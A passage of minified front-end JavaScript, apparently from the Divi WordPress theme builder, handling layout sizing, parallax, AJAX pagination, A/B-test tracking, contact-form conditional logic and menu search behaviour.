i=It(e.post_id);if(0===i.length)return!0;jt(i,{offset:Tt(n(this),"80%"),handler:function(){!nt[e.post_id].read_goal&&i.length&&i.visible(!0)&&(setTimeout((function(){i.length&&i.visible(!0)&&!nt[e.post_id].read_goal&&Pt("read_goal",e.post_id,void 0,e.test_id)}),3e3),St(i,"view_goal"))}})}));else{et_process_animation_data(!1);var o=d.isBuilder?"et-animated--vb":"et-animated";n(".et-waypoint").addClass(o),n(".et-waypoint").each((function(){et_animate_element(n(this))})),t.length&&t.each((function(){var t=n(this).find(".et_pb_circle_counter_inner");t.is(":visible")&&(t.data("PieChartHasLoaded")||void 0===t.data("easyPieChart")||(t.data("easyPieChart").update(t.data("number-value")),t.data("PieChartHasLoaded",!0)))})),e.length&&e.each((function(){var t=n(this);t.data("easyPieChart").update(t.data("number-value"))})),n.each(et_pb_custom.ab_tests,(function(t,e){var n=It(e.post_id);return 0===n.length||!(!nt[e.post_id].read_goal&&n.length&&n.visible(!0))||(setTimeout((function(){n.length&&n.visible(!0)&&!nt[e.post_id].read_goal&&Pt("read_goal",e.post_id,void 0,e.test_id)}),3e3),void St(n,"view_goal"))}))}a.length&&a.each((function(){var t=n(this);et_pb_video_background_init(t,this)}))}),100),"undefined"!=typeof et_link_options_data&&et_link_options_data.length>0&&n.each(et_link_options_data,(function(t,e){if(e.class&&e.url&&e.target){var i=n(".".concat(e.class));i.on("click",(function(t){if(t.target!==t.currentTarget&&!Ot(n(t.target))||t.target===t.currentTarget){t.stopPropagation();var i=e.url;if(i=(i=i.replace(/[/g,"[")).replace(/]/g,"]"),"_blank"===e.target)return void window.open(i);if("#product_reviews_tab"===i){var a=n(".reviews_tab a");a.length>0&&(a.trigger("click"),et_pb_smooth_scroll(a,void 0,800),history.pushState(null,"",i))}else i&&"#"===i[0]&&n(i).length?(et_pb_smooth_scroll(n(i),void 0,800),history.pushState(null,"",i)):window.location=i}})),i.on("click","a, button",(function(t){Ot(n(this))||t.stopPropagation()}))}}));var Ft={},Lt={};function Dt(){if(n.fn.fitVids){var t="iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']",e="";(0,a.default)(window.lazySizes)||(t+=", iframe[src^='data:image']",e+=".lazyloading"),n(".et_pb_slide_video").fitVids(),n(".et_pb_module").fitVids({customSelector:t,ignore:e})}xt(),et_calculate_fullscreen_section_size()}function Wt(){et_fix_fullscreen_section(),et_calculate_fullscreen_section_size(),n(document).on("click",".et_pb_fullwidth_header_scroll a",et_pb_fullwidth_header_scroll),setTimeout((function(){n(".et_pb_preload").removeClass("et_pb_preload")}),500),window.HashChangeEvent&&(n(window).on("hashchange",(function(){!function(t){var i,a,o;if(t.length)if(-1!==t.indexOf(e,0)){i=t.split(e);for(var r=0;r<i.length;r++)o=(a=i[r].split(l))[0],a.shift(),o.length&&n("#".concat(o)).length&&n("#".concat(o)).trigger({type:"et_hashchange",params:a})}else o=(a=t.split(l))[0],a.shift(),o.length&&n("#".concat(o)).length&&n("#".concat(o)).trigger({type:"et_hashchange",params:a})}(window.location.hash.replace(/[^a-zA-Z0-9-_|]/g,""))})),n(window).trigger("hashchange")),W.length&&!N&&W.each((function(){et_pb_parallax_init(n(this))})),window.et_reinit_waypoint_modules(),n(".et_audio_content").length&&n(window).trigger("resize")}function qt(){setTimeout((function(){(window.et_pb_box_shadow_elements||[]).map(et_pb_box_shadow_apply_overlay)}),0)}function Nt(t,e){var i=n(window).width()>980,a=window.et_is_fixed_nav,o=n("#wpadminbar"),r=o.length&&i?o.height():0,s=n("#top-header"),c=s.length&&a&&i?s.height():0,l=n("#main-header"),_=r+c+(l.length&&a&&i?l.height():0),d=t.offset().top-_-50;void 0!==t.find(".et_pb_salvattore_content").attr("data-columns")&&(e||salvattore.registerGrid(t.find(".et_pb_salvattore_content")[0]),salvattore.recreateColumns(t.find(".et_pb_salvattore_content")[0]),t.find(".et_pb_post").css({opacity:"1"})),t.find(".et_audio_container").length>0&&"undefined"!=typeof wp&&void 0!==wp.mediaelement&&"function"==typeof wp.mediaelement.initialize&&(wp.mediaelement.initialize(),n(window).trigger("resize")),t.find(".et-waypoint, .et_pb_circle_counter, .et_pb_number_counter").length>0&&t.find(".et-waypoint, .et_pb_circle_counter, .et_pb_number_counter").each((function(){var t=n(this);t.hasClass("et_pb_circle_counter")&&window.et_pb_reinit_circle_counters(t),t.hasClass("et_pb_number_counter")&&window.et_pb_reinit_number_counters(t),t.find(".et_pb_counter_amount").length>0&&t.find(".et_pb_counter_amount").each((function(){window.et_bar_counters_init(n(this))})),n(this).css({opacity:"1"}),window.et_reinit_waypoint_modules()})),t.find(".et_pb_slider").length>0&&t.find(".et_pb_slider").each((function(){et_pb_slider_init(n(this))})),t.on("click",".et_pb_video_overlay",(function(t){t.preventDefault(),et_pb_play_overlayed_video(n(this))})),t.fitVids({customSelector:"iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']"}),t.fadeTo("slow",1),"function"==typeof window.et_shortcodes_init&&window.et_shortcodes_init(t),T(),n("html, body").animate({scrollTop:d});var p=t.find(".et_pb_grid_item");p.length&&et_pb_set_responsive_grid(n(p.parent().get(0)),".et_pb_grid_item")}window.et_calc_fullscreen_section=function(t,e){var i="object"===u(t)&&"resize"===t.type,a=n(p),o=e||n(this),r=o.index(".et_pb_fullscreen"),s=i&&void 0!==Ft[r]&&t.target.window_width>Ft[r]?800:0;Ft[r]=a.width(),void 0!==Lt[r]&&clearTimeout(Lt[r]),Lt[r]=setTimeout((function(){var t=n("body"),e=n(".et-l--header").first(),i=e.length>0?e.height():0,r=o.length,s=o.index(".et_pb_fullwidth_header"),c=r?o.offset():{},l=o.children(".et_pb_fullwidth_header_container"),_=l.children(".header-content-container"),d=l.children(".header-image-container"),u=p.innerHeight||a.height(),f=p.jQuery("#wpadminbar"),h=f.length,b=h?f.height():0,v=n("#top-header"),m=v.length,g=m?v.height():0,w=n("#main-header"),y=w.length,x=y?w.outerHeight():0,C=Ht(),k=a.width()<782,j=a.width()>980,T=(a.width()<=980&&a.width(),a.width(),b+i+g+(window.et_is_vertical_nav&&j?0:x)),O=void 0!==c.top&&c.top<=T,S=p.jQuery(".edit-post-header"),P=p.jQuery(".edit-post-layout__footer");w.attr("data-height-onload")&&(x=parseFloat(w.attr("data-height-onload"))),h&&(k?O&&(u-=b):u-=b),S.length>0&&(u-=S.outerHeight()),P.length>0&&(u-=P.outerHeight()),m&&j&&(Z&&!window.et_is_vertical_nav?O||(u-=g):!window.et_is_fixed_nav||window.et_is_vertical_nav?O&&(u-=g):u-=g),y&&(j?Z&&!window.et_is_vertical_nav?O||(u-=C):window.et_is_fixed_nav&&!window.et_is_vertical_nav?u-=O?x:C:window.et_is_fixed_nav||window.et_is_vertical_nav||O&&(u-=x):O&&(u-=x)),t.hasClass("et_transparent_nav")&&t.hasClass("et_hide_nav")&&0===s&&o.css("padding-top","");var z=parseInt(o.css("borderTopWidth"));z&&(u-=z);var I=parseInt(o.css("borderBottomWidth"));if(I&&(u-=I),i>0&&0===s&&0===o.closest(e).length&&(u-=i),setTimeout((function(){o.css("min-height","".concat(u,"px")),l.css("min-height","".concat(u,"px"))}),100),l.hasClass("center")&&_.hasClass("bottom")&&d.hasClass("bottom")&&l.addClass("bottom-bottom"),l.hasClass("center")&&_.hasClass("center")&&d.hasClass("center")&&l.addClass("center-center"),l.hasClass("center")&&_.hasClass("center")&&d.hasClass("bottom")){l.addClass("center-bottom");var A=u-d.outerHeight(!0);A>0&&_.css("min-height","".concat(A,"px")).css("height","10px")}l.hasClass("center")&&_.hasClass("bottom")&&d.hasClass("center")&&l.addClass("bottom-center"),(l.hasClass("left")||l.hasClass("right"))&&!_.length&&d.length&&l.css("justify-content","flex-end"),l.hasClass("center")&&_.hasClass("bottom")&&!d.length&&_.find(".header-content").css("margin-bottom","".concat(80,"px")),_.hasClass("bottom")&&d.hasClass("center")&&(d.find(".header-image").css("margin-bottom","".concat(80,"px")),d.css("align-self","flex-end"));var E=0;_.length&&(E+=_.outerHeight()),d.length&&(E+=d.outerHeight()),E>u&&(o.css("min-height","".concat(E,"px")),l.css("min-height","".concat(E,"px"))),d.hasClass("bottom")&&(E<u&&(o.css("min-height","".concat(E+80,"px")),l.css("min-height","".concat(E+80,"px"))),l.css("justify-content","flex-end"))}),s)},d.isBuilder||(h.on("resize",et_calculate_fullscreen_section_size),h.on("et-pb-header-height-calculated",et_calculate_fullscreen_section_size)),window.debounced_et_apply_builder_css_parallax=et_pb_debounce(et_apply_builder_css_parallax,100),window.et_pb_parallax_init=function(t){var e=t.parent();t.hasClass("et_pb_parallax_css")?(n("body").hasClass("et-fb")||v||i)&&(et_apply_builder_css_parallax.bind(e)(),v?p.jQuery("#et-fb-app").on("scroll.etCssParallaxBackground",et_apply_builder_css_parallax.bind(e)).on("resize.etCssParallaxBackground",window.debounced_et_apply_builder_css_parallax.bind(e)):n(window).on("scroll.etCssParallaxBackground",et_apply_builder_css_parallax.bind(e)).on("resize.etCssParallaxBackground",window.debounced_et_apply_builder_css_parallax.bind(e))):(et_parallax_set_height.bind(e)(),et_apply_parallax.bind(e)(),v?p.jQuery("#et-fb-app").on("scroll.etTrueParallaxBackground",et_apply_parallax.bind(e)):n(window).on("scroll.etTrueParallaxBackground",et_apply_parallax.bind(e)),n(window).on("resize.etTrueParallaxBackground",et_pb_debounce(et_parallax_set_height,100).bind(e)),n(window).on("resize.etTrueParallaxBackground",et_pb_debounce(et_apply_parallax,100).bind(e)),e.find(".et-learn-more .heading-more").on("click",(function(){setTimeout((function(){et_parallax_set_height.bind(e)()}),300)})))},n(window).on("resize",(function(){var t=f.width(),e=Q.css("width"),i=void 0!==e&&"%"!==e.substr(-1,1)?Q.width():Q.width()/100*t,a=U!==i,o=n(".et_pb_top_inside_divider, .et_pb_bottom_inside_divider");if(et_pb_resize_section_video_bg(),et_pb_center_video(),xt(),kt(),O(),A.each((function(){var t=!!n(this).hasClass("et_pb_fullwidth_portfolio_carousel");pt(n(this),t)})),a||window.et_force_width_container_change){n(".container-width-change-notify").trigger("containerWidthChanged"),setTimeout((function(){I.each((function(){window.set_filterable_grid_items(n(this))})),E.each((function(){n(this).hasClass("et_pb_gallery_grid")&&set_gallery_grid_items(n(this))}))}),100),U=i;var r=n(".et_pb_circle_counter");r.length&&r.each((function(){var t=n(this).find(".et_pb_circle_counter_inner");if(t.is(":visible")){void 0===t.data("easyPieChart")&&window.et_pb_circle_counter_init(t);var e=At();it=e;var i="desktop"!==e?"-".concat(e):"",a=t.data("bar-bg-color".concat(i));void 0!==a&&""!==a&&(t.data("easyPieChart").options.barColor=a);var o=t.data("color".concat(i));void 0!==o&&""!==o&&(t.data("easyPieChart").options.trackColor=o,t.trigger("containerWidthChanged"));var r=t.data("alpha".concat(i));void 0!==r&&""!==r&&(t.data("easyPieChart").options.trackAlpha=r,t.trigger("containerWidthChanged")),t.data("easyPieChart").update(t.data("number-value"))}})),B.length&&B.each((function(){var t=n(this);et_countdown_timer_labels(t)})),window.et_force_width_container_change=!1}window.et_fix_testimonial_inner_width(),J.length&&J.each((function(){window.et_bar_counters_init(n(this))})),d.isBuilder&&At()!==it&&et_process_animation_data(!1),(F.length||d.isBuilder)&&function(t){if(At()===it)return!1;t.each((function(){var t=n(this),e=t.data("map");if(void 0!==e){var i=At();it=i;var a="desktop"!==i?"-".concat(i):"",o="phone"===i?"-tablet":"",r=t.attr("data-grayscale".concat(a))||0;r||(r=t.attr("data-grayscale".concat(o))||t.attr("data-grayscale")||0),0!==r&&(r="-".concat(r.toString())),e.setOptions({styles:[{stylers:[{saturation:parseInt(r)}]}]})}}))}(F),(ot.length||d.isBuilder)&&n(ot).each((function(){window.et_pb_set_responsive_grid(n(this),".et_pb_grid_item")})),!d.isBuilder&&o.length&&o.each((function(){etFixDividerSpacing(n(this))}))})),d.isBuilder?n(window).one("et_fb_init_app_after",Dt):Dt(),window.et_pb_fullwidth_header_scroll=function(t){t.preventDefault();var e=f.width(),i=n("body"),a=e<782,o=i.hasClass("et_transparent_nav"),r=i.hasClass("et_hide_nav"),s=e>980,c=n(this).parents("section"),l=c.offset(),_=n("#wpadminbar"),d=n("#main-header"),p=_.length&&!a?_.height():0,u=Y.length&&window.et_is_fixed_nav&&s?Y.height():0,h=void 0===d.attr("data-height-onload")?0:d.attr("data-height-onload"),b=d.height()===Ht()||!s||!window.et_is_fixed_nav||o||r?0:Ht()-parseFloat(h),v=l.top+c.outerHeight(!0)+b-(p+u+Ht());if(!g&&window.et_is_fixed_nav&&o){var m=d.clone().addClass("et-disabled-animations et-fixed-header").css("visibility","hidden").appendTo(i);v+=Ht()-m.height(),m.remove()}c.length&&n("html, body").animate({scrollTop:v},{duration:800})},window.et_load_event_fired?Wt():n(window).on("load",(function(){Wt()})),n(".et_section_specialty").length&&n(".et_section_specialty").each((function(){n(this).find(".et_pb_row").find(">.et_pb_column:not(.et_pb_specialty_column)").addClass("et_pb_column_single")})),n(".et_pb_section_parallax").length&&n(".et_pb_map").length&&n("body").addClass("parallax-map-support"),window.et_pb_custom&&n(".et_pb_widget_area ".concat(window.et_pb_custom.widget_search_selector)).each((function(){var t=n(this),e=t.find('input[type="submit"]'),i=e.attr("value"),a=t.find("button"),o=a.text(),r=!(!e.length&&!a.length);(t.find('input[type="text"]').length||t.find('input[type="search"]').length)&&(r||t.addClass("et-no-submit-button"),t.width()<150&&t.addClass("et-narrow-wrapper"),!e.length||void 0!==i&&""!==i||(e.remove(),t.addClass("et-no-submit-button")),!a.length||void 0!==o&&""!==o||(a.remove(),t.addClass("et-no-submit-button")))})),n("body").on("click",".et_pb_ajax_pagination_container .wp-pagenavi a,.et_pb_ajax_pagination_container .pagination a",(function(){var e,a=n(this),o=a.attr("href"),r=window.location.href,s=a.closest(".et_pb_module").attr("class").split(" "),c="",l=et_get_animation_classes();return window.et_pb_ajax_pagination_cache=window.et_pb_ajax_pagination_cache||[],n.each(s,(function(t,e){l.concat(["et_had_animation","lazyload","lazyloaded"]).includes(e)||""!==e.trim()&&(c+=".".concat(e))})),e=n(c),et_remove_animation(e),void 0!==window.et_pb_ajax_pagination_cache[o+c]?e.fadeTo("slow",.2,(function(){e.find(".et_pb_ajax_pagination_container").replaceWith(window.et_pb_ajax_pagination_cache[o+c]),Nt(e,!0),n(".et_pb_tabs").length&&window.et_pb_tabs_init(n(".et_pb_tabs")),qt()})):(void 0===window.et_pb_ajax_pagination_cache[r+c]&&(window.et_pb_ajax_pagination_cache[r+c]=e.find(".et_pb_ajax_pagination_container")),e.fadeTo("slow",.2,(function(){var a=function(i){var a=t(i),r=a.filter("#et-builder-module-design-cached-inline-styles"),s=a.find("".concat(c," .et_pb_ajax_pagination_container")).prepend(r);et_remove_animation(s.find(".et_animated")),e.find(".et_pb_ajax_pagination_container").replaceWith(s),window.et_pb_ajax_pagination_cache[o+c]=s,Nt(e,!1),n(".et_pb_tabs").length&&window.et_pb_tabs_init(n(".et_pb_tabs")),qt(),n(document.body).trigger("post-load")},r={url:o,success:a,error:function(e){404===e.status&&t("body.error404").length>0&&a(e.responseText)}};i&&(r.data={et_layout_block_layout_content:ETBlockLayoutModulesScript.layoutContent},r.method="POST"),t.ajax(r)}))),!1})),window.et_pb_search_init=function(t){var e=At();it=e;var n=t.find(".et_pb_s"),i=t.find(".et_pb_searchsubmit"),a=i.outerHeight(),o=n.innerHeight();i.css({position:"relative"}),a>o&&n.innerHeight(a),i.css({position:""})},window.et_pb_search_percentage_custom_margin_fix=function(t){var e=t.find(".et_pb_s").css("margin").split(" "),n={};switch(e.length){case 4:n={top:e[0],right:e[1],bottom:e[2],left:e[3]};break;case 2:n={top:e[0],right:e[1],bottom:e[0],left:e[1]};break;default:n={top:e[0],right:e[0],bottom:e[0],left:e[0]}}var i="".concat(0-parseFloat(n.left),"px");t.find(".et_pb_searchsubmit").css({top:n.top,right:i,bottom:n.bottom})},n(".et_pb_search").length&&n(".et_pb_search").each((function(){var t=n(this);t.is(".et_pb_search_percentage_custom_margin")&&et_pb_search_percentage_custom_margin_fix(t),et_pb_search_init(t)})),window.et_pb_comments_init=function(t){var e=t.find(".comment-reply-link, .submit");e.length&&(e.addClass("et_pb_button"),void 0!==t.attr("data-icon")&&""!==t.attr("data-icon")&&(e.attr("data-icon",t.attr("data-icon")),e.addClass("et_pb_custom_button_icon")),void 0!==t.attr("data-icon-tablet")&&""!==t.attr("data-icon-tablet")&&(e.attr("data-icon-tablet",t.attr("data-icon-tablet")),e.addClass("et_pb_custom_button_icon")),void 0!==t.attr("data-icon-phone")&&""!==t.attr("data-icon-phone")&&(e.attr("data-icon-phone",t.attr("data-icon-phone")),e.addClass("et_pb_custom_button_icon")))},n(".et_pb_comments_module").length&&n(".et_pb_comments_module").each((function(){var t=n(this);et_pb_comments_init(t)}));var $t=document.onreadystatechange||function(){};function Vt(t){t.find("[data-conditional-logic]").each((function(){for(var e=n(this),i=e.data("conditional-logic"),a=e.data("conditional-relation"),o=[],r=0;r<i.length;r++){var s,c=i[r],l=c[0],_=c[1],d=c[2],p=t.find('.et_pb_contact_field[data-id="'.concat(l,'"]')),u=(p.data("id"),p.data("type"));if(p.is(":visible")){switch(u){case"input":case"email":s=p.find("input").val();break;case"text":s=p.find("textarea").val();break;case"radio":s=p.find("input:checked").val()||"";break;case"checkbox":var f=p.find(":checkbox:checked");s=!1,f.each((function(){if(d===n(this).val())return s=!0,!1})),d=!0;break;case"select":s=p.find("select").val()}if("is empty"!==_&&"is not empty"!==_||(_="is empty"===_?"is":"is not",d="","checkbox"===u&&!1===s&&(s="")),s&&"string"==typeof s&&(s=s.replace(/\\(.)/g,"$1")),!("is"===_&&s!==d||"is not"===_&&s===d)){var h=new RegExp(d,"i");if("string"==typeof d&&(h=new RegExp(d.replace(/[\\^$*+?.()|[\]{}]/g,"\\$&"),"i")),("contains"!==_||s.match(h))&&("does not contain"!==_||!s.match(h))){var b=parseInt(s),v=parseInt(d);("is greater"!==_&&"is less"!==_||!isNaN(b)&&!isNaN(v))&&("is greater"===_&&b<=v||"is less"===_&&b>=v||o.push(!0))}}}}e.hide();var m=e.find('input[type="text"]'),g=m.attr("pattern");m.attr("novalidate","novalidate"),m.attr("data-pattern",g),m.removeAttr("pattern"),"all"===a&&i.length===o.length&&(e.show(),m.removeAttr("novalidate"),m.attr("pattern",m.data("pattern"))),"any"===a&&0<o.length&&(e.show(),m.removeAttr("novalidate"),m.attr("pattern",m.data("pattern")))}))}if(document.onreadystatechange=function(){"complete"===document.readyState&&window.et_fix_pricing_currency_position(),$t()},n(".et_pb_contact_form_container, .et_pb_newsletter_custom_fields").each((function(){var t=n(this),e="input, textarea, select",i=function(){Vt(t)},a=et_pb_debounce(i,250);t.on("change",e,i),t.on("keydown",e,a),Vt(t)})),"undefined"!=typeof et_animation_data&&et_animation_data.length>0){for(var Rt=0,Qt=0;Qt<et_animation_data.length;Qt++){var Ut=et_animation_data[Qt];if(Ut.class){var Zt=n(".".concat(Ut.class));(Zt.hasClass("et_pb_menu")||Zt.hasClass("et_pb_fullwidth_menu"))&&Rt++}}n(".et_pb_menu, .et_pb_fullwidth_menu").each((function(){var t=n(this);t.on("webkitAnimationEnd oanimationend msAnimationEnd animationend",(function(){t.css("z-index",Rt-t.index(".et_pb_menu, .et_pb_fullwidth_menu"))}))}))}n(".et_pb_section_video_bg_hover").each((function(){var t=this,e=n(this).closest(".et_pb_section_video_on_hover"),i=!1;e.on("mouseover",(function(){i||(n(t).find(".mejs-video video").trigger("play"),i=!0)})),e.on("mouseleave",(function(){i=!1}))})),n(document).trigger("et_pb_after_init_modules"),window.et_pb_wrap_woo_attribute_fields_in_span(),window.et_pb_shop_add_hover_class=function(){n(".et_pb_shop").each((function(){n(this).find(".et_shop_image").on("mouseover",(function(){var t=n(this).parents().eq(1),e=t.find(".price"),i=t.find(".woocommerce-loop-product__title");e.addClass("hover"),i.addClass("hover")})).on("mouseout",(function(){var t=n(this).parents().eq(1),e=t.find(".price"),i=t.find(".woocommerce-loop-product__title");e.removeClass("hover"),i.removeClass("hover")}))}))},et_pb_shop_add_hover_class()})),window.et_load_event_fired?j():n(window).on("load",(function(){j()}))},window.etFixDividerSpacing=function(t){t.attr("style","");var e=t.css("backgroundSize").split(" "),n=e[0],i=e[1];if("string"==typeof n&&"string"==typeof i&&"100%"!==n&&"%"===n.substr(-1,1)){var a=parseFloat(t.outerWidth()),o=parseFloat(n)/100*a,r="".concat(parseInt(o),"px ").concat(i);t.css("backgroundSize",r)}},window.et_pb_custom&&window.et_pb_custom.is_ab_testing_active&&"yes"===window.et_pb_custom.is_cache_plugin_active){n(window).on("load",(function(){window.et_load_event_fired=!0}));var T=et_pb_custom.ab_tests.length;n.each(et_pb_custom.ab_tests,(function(t,e){n.ajax({type:"POST",url:et_pb_custom.ajaxurl,dataType:"json",data:{action:"et_pb_ab_get_subject_id",et_frontend_nonce:et_pb_custom.et_frontend_nonce,et_pb_ab_test_id:e.post_id},success:function(t){if(t){var i=n(".et_pb_subject_placeholder_id_".concat(e.post_id,"_").concat(t.id));i.after(t.content),i.remove()}(T-=1)<=0&&(n(".et_pb_subject_placeholder").remove(),window.et_pb_init_modules(),n("body").trigger("et_pb_ab_subject_ready"))}})}))}else window.et_pb_init_modules();function O(){n("body").is(".et-fb")&&n("#wpadminbar").length>0&&setTimeout((function(){n("#et_fix_html_margin").remove(),n("<style />",{id:"et_fix_html_margin",text:"html.js.et-fb-top-html { margin-top: 0px !important; }"}).appendTo("head")}),0)}function S(t){var e=t.find(".et_pb_menu__wrap").first(),n=t.find(".et_pb_menu__search-container").first(),i=t.find(".et_pb_menu__search-input").first();n.hasClass("et_pb_is_animating")||(e.removeClass("et_pb_menu__wrap--hidden").addClass("et_pb_menu__wrap--visible"),n.removeClass("et_pb_menu__search-container--visible").addClass("et_pb_menu__search-container--hidden et_pb_is_animating"),i.trigger("blur"),setTimeout((function(){n.removeClass("et_pb_is_animating").addClass("et_pb_menu__search-container--disabled")}),1e3))}document.addEventListener("readystatechange",(function(){"complete"===document.readyState&&(d.isDiviTheme||d.isExtraTheme)&&function(){if(window.et_location_hash=window.location.hash.replace(/[^a-zA-Z0-9-_#]/g,""),""!==window.et_location_hash){window.scrollTo(0,0);var t=n(window.et_location_hash);t.length&&("scrollRestoration"in history?history.scrollRestoration="manual":(window.et_location_hash_style=t.css("display"),t.css("display","none")))}}()})),document.addEventListener("DOMContentLoaded",(function(){n(".et_pb_top_inside_divider.et-no-transition, .et_pb_bottom_inside_divider.et-no-transition").removeClass("et-no-transition").each((function(){etFixDividerSpacing(n(this))})),setTimeout((function(){(window.et_pb_box_shadow_elements||[]).map(et_pb_box_shadow_apply_overlay)}),0)})),n(window).on("load",(function(){var t=n("body");if(window.et_load_event_fired=!0,t.hasClass("safari")){var e=t.css("display"),i="initial"===e?"block":"initial";if(t.css({display:i}),setTimeout((function(){t.css({display:e})}),0),t.hasClass("woocommerce-page")&&t.hasClass("single-product")){var a=n(".woocommerce div.product div.images.woocommerce-product-gallery");if(0===a.length)return;var o=parseInt(a[0].style.opacity);if(!o)return;a.css({opacity:o-.09}),setTimeout((function(){a.css({opacity:o})}),0)}}n(".et_pb_module #rating, .et_pb_module .comment-form-rating").length>0&&n(".et_pb_module #rating, .et_pb_module .comment-form-rating").each((function(){window.et_pb_init_woo_star_rating(n(this))})),window.et_pb_init_woo_custom_button_icon=function(){n(".et_pb_woo_custom_button_icon").length>0&&n(".et_pb_woo_custom_button_icon").each((function(){var t=n(this),e=t.attr("data-button-names");if(e){var i=(0,l.default)(e," ");(0,c.default)(i,(function(e){var n=t.find('button[name="'.concat(e,'"]')),i=t.attr("data-".concat(e,"-icon")),a=t.attr("data-".concat(e,"-icon-tablet")),o=t.attr("data-".concat(e,"-icon-phone"));n.addClass("et_pb_custom_button_icon et_pb_button"),(i||a||o)&&(n.attr("data-icon",i),n.attr("data-icon-tablet",a),n.attr("data-icon-phone",o))}))}else{var a=t.data("button-class"),o=t.find(".".concat(a)),r=t.attr("data-button-icon"),s=t.attr("data-button-icon-tablet"),_=t.attr("data-button-icon-phone");o.addClass("et_pb_custom_button_icon et_pb_button"),(r||s||_)&&(o.attr("data-icon",r),o.attr("data-icon-tablet",s),o.attr("data-icon-phone",_))}}))},window.et_pb_init_woo_custom_button_icon(),n("body").on("updated_checkout",(function(t){window.et_pb_init_woo_custom_button_icon()})),n(".et_pb_wc_meta").length>0&&n(".et_pb_wc_meta").each((function(){var t=n(this);""===t.find(".product_meta span:visible").text()&&t.addClass("et_pb_wc_meta_empty")}))})),n((function(){if(void 0!==MutationObserver)for(var t=function(t){return t.filter((function(){return!n(this).is(":visible")})).length},e=n(".et_pb_section"),i=function(t){var e=void 0!==n.uniqueSort?n.uniqueSort:n.unique,i=n([]);return t.each((function(){i=i.add(n(this).parents())})),e(i.get())}(e),a=t(e),o=new MutationObserver(window.et_pb_debounce((function(){var i=t(e);i<a&&n(window).trigger("resize"),a=i}),200)),r=0;r<i.length;r++)o.observe(i[r],{childList:!0,attributes:!0,attributeFilter:["class","style"],attributeOldValue:!1,characterData:!1,characterDataOldValue:!1,subtree:!1})})),O(),n(document).on("click",".et_pb_menu__search-button",(function(){!function(t){var e=t.find(".et_pb_menu__wrap").first(),i=t.find(".et_pb_menu__search-container").first(),a=t.find(".et_pb_menu__search-input").first(),o=t.find(".et_pb_row > .et_pb_menu__logo-wrap").first(),r=t.find(".et_pb_menu_inner_container > .et_pb_menu__logo-wrap").first(),s=o.add(r),c=n(window).width()<=980;if(!i.hasClass("et_pb_is_animating")){if(e.find(".mobile_nav.opened").removeClass("opened").addClass("closed"),e.find(".et_mobile_menu").hide(),e.removeClass("et_pb_menu__wrap--visible").addClass("et_pb_menu__wrap--hidden"),i.removeClass("et_pb_menu__search-container--hidden et_pb_menu__search-container--disabled").addClass("et_pb_menu__search-container--visible et_pb_is_animating"),i.css("padding-top","0px"),t.hasClass("et_pb_menu--style-left_aligned")||t.hasClass("et_pb_fullwidth_menu--style-left_aligned"))i.css("padding-left","".concat(s.width(),"px"));else{var l=s.height();i.css("padding-left","0px"),(c||t.hasClass("et_pb_menu--style-centered")||t.hasClass("et_pb_fullwidth_menu--style-centered"))&&i.css("padding-top","".concat(l>0?l+30:0,"px"))}a.css("font-size",t.find(".et-menu-nav li a").first().css("font-size")),setTimeout((function(){a.trigger("focus")}),0),setTimeout((function(){e.addClass("et_pb_no_animation"),i.addClass("et_pb_no_animation").removeClass("et_pb_is_animating")}),1e3)}}(n(this).closest(".et_pb_module"))})),n(document).on("click",".et_pb_menu__close-search-button",(function(){S(n(this).closest(".et_pb_module"))})),n(document).on("blur",".et_pb_menu__search-input",(function(){S(n(this).closest(".et_pb_module"))})),n((function(){n(".et_pb_menu--style-inline_centered_logo, .et_pb_fullwidth_menu--style-inline_centered_logo").each((function(){!function(t){var e=t.find(".et_pb_menu__logo-wrap").first();if(0!==e.length){var i=t.find(".et_pb_menu__menu").first();if(!(0===i.length||i.find(".et_pb_menu__logo").length>0)){var a=window.et_pb_menu_inject_inline_centered_logo(i.get(0));null!==a&&n(a).empty().append(e.clone())}}}(n(this))})),(0,a.default)(window.lazySizes)||n(document).on("lazyloaded",(function(t){var i=n(t.target),o=i.attr("name");i.is("iframe")&&((0,e.default)(o,"fitvid")||(0,a.default)(o))&&(i.attr("src",i.attr("data-src")),i.parent().fitVids())}))})),document.addEventListener("DOMContentLoaded",window.et_pb_reposition_menu_module_dropdowns),n(window).on("resize",window.et_pb_reposition_menu_module_dropdowns);var P={contexts:["content","attrs","styles","classes","visibility"],screenMode:void 0,windowWidth:void 0,init:function(t,e){P.screenMode=t,P.windowWidth=e,n(".et_multi_view__hover_selector").removeClass("et_multi_view__hover_selector"),P.getElements().each((function(){var t=n(this);if(!P.isBuilderElement(t)){var e=P.getData(t);e.$hoverSelector&&e.$hoverSelector.length&&e.$hoverSelector.addClass("et_multi_view__hover_selector"),P.normalStateHandler(e)}})),P.isTouchDevice()?(window.removeEventListener("touchstart",P.touchStateHandler),window.addEventListener("touchstart",P.touchStateHandler,{passive:!1})):(n(".et_multi_view__hover_selector").off("mouseenter mouseleave",P.hoverStateHandler),n(".et_multi_view__hover_selector").on("mouseenter mouseleave",P.hoverStateHandler),n("#main-header, #main-footer").off("mouseenter",P.resetHoverState),n("#main-header, #main-footer").on("mouseenter",P.resetHoverState))},normalStateHandler:function(t){t&&!P.isEmptyObject(t.normalState)&&P.callbackHandlerDefault(t.normalState,t.$target,t.$source,t.slug)},touchStateHandler:function(t){var e=n(t.target);if(n(t.target).hasClass("et_multi_view__hover_selector")||(e=n(t.target).closest(".et_multi_view__hover_selector")),e&&e.length){var i=n(t.target).is("a")?n(t.target):n(t.target).closest("a",e);if(i&&i.length){var a=i.attr("href");"#"!==a&&0===a.indexOf("#")&&n(a)&&n(a).length&&(t.preventDefault(),n("html, body").animate({scrollTop:n(a).offset().top},800))}else e.hasClass("et_multi_view__hovered")?P.resetHoverState(e,(function(){e.hasClass("et_clickable")&&e.trigger("click")})):P.setHoverState(e,(function(){e.hasClass("et_clickable")&&e.trigger("click")}))}},hoverStateHandler:function(t){var 